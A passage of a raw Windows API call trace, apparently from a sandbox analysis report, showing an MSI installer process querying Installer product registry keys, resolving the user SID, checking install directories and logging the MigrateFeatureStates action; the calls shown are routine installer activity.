IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cda30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0124.822] ConvertSidToStringSidW (in: Sid=0x10cda30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cda10 | out: StringSid=0x10cda10*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0124.822] LocalFree (hMem=0x3d6a30) returned 0x0 [0124.872] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.872] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0124.872] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce018 | out: phkResult=0x10ce018*=0x0) returned 0x2 [0124.872] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.872] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0124.872] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce018 | out: phkResult=0x10ce018*=0x0) returned 0x2 [0124.872] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0124.872] _vsnwprintf (in: _Buffer=0x10cd810, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10cd7d8 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0124.872] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.872] GetCurrentThreadId () returned 0xf50 [0124.872] GetCurrentThreadId () returned 0xf50 [0124.872] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0124.872] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cc6c0, TokenInformationLength=0x58, ReturnLength=0x10cc6b0 | out: TokenInformation=0x10cc6c0, ReturnLength=0x10cc6b0) returned 1 [0124.872] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cc7a0, pSourceSid=0x10cc6d0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cc7a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0124.872] ConvertSidToStringSidW (in: Sid=0x10cc7a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cc780 | out: StringSid=0x10cc780*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0124.872] LocalFree (hMem=0x3d63a0) returned 0x0 [0124.873] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.873] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0124.873] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ccbc0 | out: phkResult=0x10ccbc0*=0x0) returned 0x2 [0124.873] GetCurrentThreadId () returned 0xf50 [0124.873] GetCurrentThreadId () returned 0xf50 [0124.873] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0124.873] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cc6c0, TokenInformationLength=0x58, ReturnLength=0x10cc6b0 | out: TokenInformation=0x10cc6c0, ReturnLength=0x10cc6b0) returned 1 [0124.873] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cc7a0, pSourceSid=0x10cc6d0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cc7a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0124.873] ConvertSidToStringSidW (in: Sid=0x10cc7a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cc780 | out: StringSid=0x10cc780*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0124.873] LocalFree (hMem=0x3d6a30) returned 0x0 [0124.873] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.873] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0124.873] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ccbc0 | out: phkResult=0x10ccbc0*=0x0) returned 0x2 [0124.873] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.873] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0124.873] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ccbc0 | out: phkResult=0x10ccbc0*=0x0) returned 0x2 [0124.874] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.874] GetCurrentThreadId () returned 0xf50 [0124.874] GetCurrentThreadId () returned 0xf50 [0124.874] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0124.874] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd4b0, TokenInformationLength=0x58, ReturnLength=0x10cd4a0 | out: TokenInformation=0x10cd4b0, ReturnLength=0x10cd4a0) returned 1 [0124.874] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd590, pSourceSid=0x10cd4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd590*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0124.874] ConvertSidToStringSidW (in: Sid=0x10cd590*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd570 | out: StringSid=0x10cd570*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0124.874] LocalFree (hMem=0x3d63a0) returned 0x0 [0124.874] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.874] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0124.874] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdaf0 | out: phkResult=0x10cdaf0*=0x0) returned 0x2 [0124.874] GetCurrentThreadId () returned 0xf50 [0124.874] GetCurrentThreadId () returned 0xf50 [0124.874] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0124.874] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd4b0, TokenInformationLength=0x58, ReturnLength=0x10cd4a0 | out: TokenInformation=0x10cd4b0, ReturnLength=0x10cd4a0) returned 1 [0124.874] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd590, pSourceSid=0x10cd4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd590*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0124.875] ConvertSidToStringSidW (in: Sid=0x10cd590*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd570 | out: StringSid=0x10cd570*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0124.875] LocalFree (hMem=0x3d6a30) returned 0x0 [0124.875] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.875] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0124.875] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdaf0 | out: phkResult=0x10cdaf0*=0x0) returned 0x2 [0124.875] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.875] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0124.875] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdaf0 | out: phkResult=0x10cdaf0*=0x0) returned 0x2 [0124.875] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0124.875] _vsnwprintf (in: _Buffer=0x10cdcc0, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10cdc98 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0124.875] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd518 | out: phkResult=0x10cd518*=0x348) returned 0x0 [0124.875] RegEnumKeyExW (in: hKey=0x348, dwIndex=0x0, lpName=0x10cd560, lpcchName=0x10cd510, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10cd510, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0124.875] RegCloseKey (hKey=0x348) returned 0x0 [0124.875] _vsnwprintf (in: _Buffer=0x10cccc0, _BufferCount=0x13d, _Format="%s\\%s", _ArgList=0x10ccc68 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18") returned 69 [0124.875] _vsnwprintf (in: _Buffer=0x10ccf50, _BufferCount=0x3ff, _Format="%s\\%s", _ArgList=0x10ccc68 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 129 [0124.875] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce018 | out: phkResult=0x10ce018*=0x0) returned 0x2 [0124.876] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0124.876] _vsnwprintf (in: _Buffer=0x10cdcc0, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10cdc98 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0124.876] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd518 | out: phkResult=0x10cd518*=0x348) returned 0x0 [0124.876] RegEnumKeyExW (in: hKey=0x348, dwIndex=0x1, lpName=0x10cd560, lpcchName=0x10cd510, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10cd510, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0124.876] RegCloseKey (hKey=0x348) returned 0x0 [0124.876] GetTickCount () returned 0x1877dfd [0124.876] GetCurrentThreadId () returned 0xf50 [0124.876] GetCurrentThreadId () returned 0xf50 [0124.876] SetEvent (hEvent=0x170) returned 1 [0124.878] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.922] GetTickCount () returned 0x1877e2c [0124.922] GetTickCount () returned 0x1877e2c [0124.922] lstrlenW (lpString=":") returned 1 [0124.922] wcsstr (_Str="SourceDir", _SubStr=":") returned 0x0 [0124.923] UrlIsW (pszUrl="C:\\", UrlIs=0x0) returned 0 [0124.923] lstrlenW (lpString="C:\\") returned 3 [0124.923] lstrlenW (lpString="\\") returned 1 [0124.923] lstrlenW (lpString="\\\\") returned 2 [0124.923] lstrlenW (lpString="\\") returned 1 [0124.923] lstrlenW (lpString="\\") returned 1 [0124.923] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.923] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0124.923] lstrlenW (lpString="C:\\") returned 3 [0124.923] GetTickCount () returned 0x1877e2c [0124.923] lstrlenW (lpString=":") returned 1 [0124.923] wcsstr (_Str="?", _SubStr=":") returned 0x0 [0124.924] UrlIsW (pszUrl="C:\\Windows\\", UrlIs=0x0) returned 0 [0124.924] lstrlenW (lpString="C:\\Windows\\") returned 11 [0124.924] lstrlenW (lpString="\\") returned 1 [0124.924] lstrlenW (lpString="\\\\") returned 2 [0124.924] wcsstr (_Str="\\Windows\\", _SubStr="\\\\") returned 0x0 [0124.924] lstrlenW (lpString="Windows") returned 7 [0124.924] lstrlenW (lpString="Windows") returned 7 [0124.924] lstrlenW (lpString="\\Windows\\") returned 9 [0124.924] lstrlenW (lpString="\\Windows\\") returned 9 [0124.924] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.924] GetFileAttributesW (lpFileName="C:\\Windows\\" (normalized: "c:\\windows")) returned 0x10 [0124.925] lstrlenW (lpString="C:\\Windows\\") returned 11 [0124.925] GetTickCount () returned 0x1877e2c [0124.925] lstrlenW (lpString=":") returned 1 [0124.925] wcsstr (_Str=".", _SubStr=":") returned 0x0 [0124.925] UrlIsW (pszUrl="C:\\Program Files (x86)\\", UrlIs=0x0) returned 0 [0124.925] lstrlenW (lpString="C:\\Program Files (x86)\\") returned 23 [0124.925] lstrlenW (lpString="\\") returned 1 [0124.925] lstrlenW (lpString="\\\\") returned 2 [0124.925] wcsstr (_Str="\\Program Files (x86)\\", _SubStr="\\\\") returned 0x0 [0124.926] lstrlenW (lpString="Program Files (x86)") returned 19 [0124.926] lstrlenW (lpString="Program Files (x86)") returned 19 [0124.926] lstrlenW (lpString="\\Program Files (x86)\\") returned 21 [0124.926] lstrlenW (lpString="\\Program Files (x86)\\") returned 21 [0124.926] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.926] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\" (normalized: "c:\\program files (x86)")) returned 0x11 [0124.926] lstrlenW (lpString="C:\\Program Files (x86)\\") returned 23 [0124.926] _wcsnicmp (_String1="C:\\Windows\\system32\\", _String2="C:\\Program Files (x8", _MaxCount=0x14) returned 7 [0124.926] _wcsnicmp (_String1="C:\\Program Files\\", _String2="C:\\Program Files ", _MaxCount=0x11) returned 60 [0124.926] GetTickCount () returned 0x1877e2c [0124.926] lstrlenW (lpString=":") returned 1 [0124.926] wcsstr (_Str="bxjvilw7|[BZ.COMPANYNAME]", _SubStr=":") returned 0x0 [0124.927] UrlIsW (pszUrl="C:\\Program Files (x86)\\[BZ.COMPANYNAME]\\", UrlIs=0x0) returned 0 [0124.927] lstrlenW (lpString="C:\\Program Files (x86)\\[BZ.COMPANYNAME]\\") returned 40 [0124.927] lstrlenW (lpString="\\") returned 1 [0124.927] lstrlenW (lpString="\\\\") returned 2 [0124.927] wcsstr (_Str="\\Program Files (x86)\\[BZ.COMPANYNAME]\\", _SubStr="\\\\") returned 0x0 [0124.927] lstrlenW (lpString="Program Files (x86)") returned 19 [0124.927] lstrlenW (lpString="Program Files (x86)") returned 19 [0124.927] lstrlenW (lpString="[BZ.COMPANYNAME]") returned 16 [0124.927] lstrlenW (lpString="[BZ.COMPANYNAME]") returned 16 [0124.927] lstrlenW (lpString="\\Program Files (x86)\\[BZ.COMPANYNAME]\\") returned 38 [0124.927] lstrlenW (lpString="\\Program Files (x86)\\[BZ.COMPANYNAME]\\") returned 38 [0124.927] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.927] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\[BZ.COMPANYNAME]\\" (normalized: "c:\\program files (x86)\\[bz.companyname]")) returned 0xffffffff [0124.928] lstrlenW (lpString="C:\\Program Files (x86)\\[BZ.COMPANYNAME]\\") returned 40 [0124.928] _wcsnicmp (_String1="C:\\Windows\\system32\\", _String2="C:\\Program Files (x8", _MaxCount=0x14) returned 7 [0124.928] _wcsnicmp (_String1="C:\\Program Files\\", _String2="C:\\Program Files ", _MaxCount=0x11) returned 60 [0124.928] _wcsnicmp (_String1="C:\\Program Files\\Common Files\\", _String2="C:\\Program Files (x86)\\[BZ.COM", _MaxCount=0x1e) returned 60 [0124.928] lstrlenW (lpString="INSTALLLEVEL") returned 12 [0124.928] SetLastError (dwErrCode=0x0) [0124.928] GetTickCount () returned 0x1877e2c [0124.929] lstrcmpiW (lpString1="ProductFeature", lpString2="ALL") returned 1 [0124.929] lstrlenW (lpString="ProductFeature") returned 14 [0124.929] GetTickCount () returned 0x1877e2c [0124.929] lstrlenW (lpString="FeatureComponents") returned 17 [0124.930] lstrlenW (lpString="CompFeatureTable") returned 16 [0124.930] lstrlenW (lpString="Component_") returned 10 [0124.930] lstrlenW (lpString="Feature_") returned 8 [0124.930] GlobalLock (hMem=0xf40178) returned 0x3cce70 [0124.930] GetTickCount () returned 0x1877e2c [0124.930] GlobalUnlock (hMem=0xf40178) returned 0 [0124.930] GetTickCount () returned 0x1877e2c [0124.931] lstrlenW (lpString="CostFinalize") returned 12 [0124.931] SetLastError (dwErrCode=0xd) [0124.931] SetLastError (dwErrCode=0xd) [0124.931] lstrlenW (lpString="Time") returned 4 [0124.931] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x178)) [0124.931] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.931] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x178)) [0124.931] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.931] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x178)) [0124.931] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.931] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.931] memcpy (in: _Dst=0x3b5009a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5009a) returned 0x3b5009a [0124.931] memcpy (in: _Dst=0x3b500aa, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x3b500aa) returned 0x3b500aa [0124.931] memcpy (in: _Dst=0x3b500ae, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.931] SetLastError (dwErrCode=0x0) [0124.931] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.931] memcpy (in: _Dst=0x3b500ae, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.931] memcpy (in: _Dst=0x3b500b4, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x3b500b4) returned 0x3b500b4 [0124.931] memcpy (in: _Dst=0x3b500d2, _Src=0x34b110, _Size=0x2 | out: _Dst=0x3b500d2) returned 0x3b500d2 [0124.931] SetLastError (dwErrCode=0x0) [0124.931] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.932] memcpy (in: _Dst=0x3b500d2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500d2) returned 0x3b500d2 [0124.932] memcpy (in: _Dst=0x3b500d8, _Src=0x34b114, _Size=0x2 | out: _Dst=0x3b500d8) returned 0x3b500d8 [0124.932] GetCurrentThreadId () returned 0xf50 [0124.932] GetCurrentThreadId () returned 0xf50 [0124.932] SetEvent (hEvent=0x170) returned 1 [0124.932] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.934] lstrlenW (lpString="ActionText") returned 10 [0124.934] lstrcmpW (lpString1="Advertise", lpString2="MigrateFeatureStates") returned -1 [0124.934] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="MigrateFeatureStates") returned -1 [0124.934] lstrcmpW (lpString1="AppSearch", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="BindImage", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="CCPSearch", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="CostFinalize", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="CostInitialize", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="CreateFolders", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="CreateShortcuts", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="DeleteServices", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="DuplicateFiles", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="FileCost", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="FindRelatedProducts", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="GenerateScript", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="InstallAdminPackage", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="InstallFiles", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="InstallODBC", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="InstallServices", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="InstallValidate", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="LaunchConditions", lpString2="MigrateFeatureStates") returned -1 [0124.935] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="MigrateFeatureStates") returned 0 [0124.935] lstrlenW (lpString="ProductLanguage") returned 15 [0124.935] SetLastError (dwErrCode=0x0) [0124.935] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0124.936] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x7546, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Migrating feature states from related applications\x09Application: [1]\r\n") returned 0x45 [0124.940] lstrlenW (lpString="Application: [1]") returned 16 [0124.940] lstrlenW (lpString="Migrating feature states from related applications") returned 50 [0124.940] FreeLibrary (hLibModule=0xc10002) returned 1 [0124.941] lstrlenW (lpString="MigrateFeatureStates") returned 20 [0124.941] lstrlenW (lpString="{{") returned 2 [0124.941] lstrlenW (lpString=": }}") returned 4 [0124.941] SetLastError (dwErrCode=0xd) [0124.941] lstrlenW (lpString="Time") returned 4 [0124.941] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x187)) [0124.941] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.941] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x187)) [0124.941] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.941] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x187)) [0124.941] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.941] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.941] memcpy (in: 